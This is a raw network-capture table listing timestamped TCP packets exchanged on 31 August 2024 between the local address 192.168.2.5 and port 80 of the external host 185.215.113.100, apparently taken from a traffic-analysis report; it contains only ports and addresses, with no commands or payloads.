Aug 31, 2024 10:14:12.039760113 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.058343887 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.058356047 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.058374882 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.058398962 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.058420897 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.058516026 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.058527946 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.058556080 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.058562994 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.058566093 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.058588982 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.058598042 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.058602095 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.058634043 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.058715105 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.058727026 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.058734894 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.058760881 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.058768988 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.058779955 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.058780909 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.058799028 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.058809042 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.058818102 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.058841944 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.058867931 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.058984041 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.058995962 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.059014082 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.059041023 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.059055090 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.060656071 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.060667038 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.060684919 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.060708046 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.060731888 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.060954094 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.060965061 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.060983896 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.061009884 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.061033010 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.062519073 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.062567949 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.062598944 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.062608957 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.062632084 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.062649012 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.062670946 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.062675953 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.062681913 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.062700033 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.062709093 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.062721014 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.062726974 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.062733889 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.062745094 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.062748909 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.062762976 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.062763929 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.062777042 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.062797070 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.062813997 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.062858105 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.062902927 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.062922955 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.062933922 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.062952995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.062971115 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.062992096 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.064865112 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.064877033 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.064896107 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.064915895 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.064933062 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.064940929 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.064944029 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.064971924 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.064974070 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.064982891 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.065001011 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.065011978 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.065043926 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.065072060 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.065080881 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.065099955 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.065119982 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.065143108 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.065144062 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.065155029 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.065190077 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.065244913 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.065256119 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.065278053 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.065294981 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.065300941 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.065318108 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.065323114 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.065332890 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.065349102 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.065362930 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.065371990 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.065375090 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.065395117 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.065404892 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.065416098 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.065423965 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.065427065 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.065434933 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.065454960 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.065474033 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.066498041 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.066507101 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.066548109 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.066551924 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.066570044 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.066581964 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.066586971 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.066602945 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.066615105 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.066631079 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.066643000 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.066788912 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.066800117 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.066819906 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.066829920 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.066839933 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.066868067 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.066891909 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.066901922 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.066920996 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.066929102 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.066931009 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.066950083 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.066957951 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.066963911 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.066987038 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.066988945 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067001104 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067011118 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067018986 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067028999 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067040920 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067047119 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067050934 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067064047 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067070961 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067074060 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067092896 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067095041 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067104101 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067109108 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067128897 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067140102 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067143917 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067154884 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067166090 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067174911 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067184925 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067192078 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067204952 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067214966 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067220926 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067231894 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067245960 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067259073 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067275047 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067280054 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067291021 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067297935 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067308903 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067315102 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067329884 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067333937 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067353010 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067353010 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067365885 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067370892 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067387104 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067394972 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067403078 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067416906 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067429066 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067430973 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067430973 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067439079 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067456007 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067456961 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067465067 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067466021 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067485094 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067493916 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067497015 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067512035 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067522049 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067526102 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067552090 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067553043 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067562103 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067581892 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067599058 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067605019 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067615032 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067631006 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067637920 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067648888 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067656994 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067667007 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067682981 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067683935 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067693949 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.067696095 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067724943 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.067742109 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.121798038 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.121812105 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.121823072 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.121946096 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.207567930 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.207580090 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.207613945 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.207633972 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.207644939 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.207645893 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.207653999 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.207663059 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.207686901 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.207695007 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.207706928 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.207715034 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.207737923 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.207746029 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.207751989 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.207756042 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.207782030 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.207789898 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.207792997 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.207797050 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.207798958 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.207804918 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.207811117 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.207866907 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.208400965 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.208411932 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.208450079 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.209569931 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.209616899 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.209642887 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.209652901 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.209672928 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.209683895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.209690094 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.209718943 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.209767103 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.209779024 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.209799051 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.209815979 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.209830046 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218158960 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218170881 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218192101 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218215942 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218230009 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218240023 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218240976 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218260050 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218270063 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218271017 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218290091 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218302965 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218306065 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218328953 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218343973 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218353987 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218360901 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218379021 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218383074 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218395948 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218398094 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218410969 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218425035 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218432903 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218436956 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218451023 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218451023 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218463898 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218472958 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218482971 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218491077 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218494892 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218508959 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218521118 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218521118 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218533039 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218538046 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218554020 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218559027 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218568087 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218576908 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218592882 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218592882 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218605995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218611002 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218621016 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218636036 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218647003 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218650103 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218661070 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218666077 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218677998 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218698978 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218703985 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218720913 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218723059 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218741894 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218744993 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218764067 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218765020 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218775034 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218782902 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218792915 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218801975 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218813896 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218820095 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218830109 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218835115 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218842983 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218858004 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218868017 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218868971 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218892097 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.218897104 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.218908072 CEST	80	49704	185.215.113.100	192.168.2.5
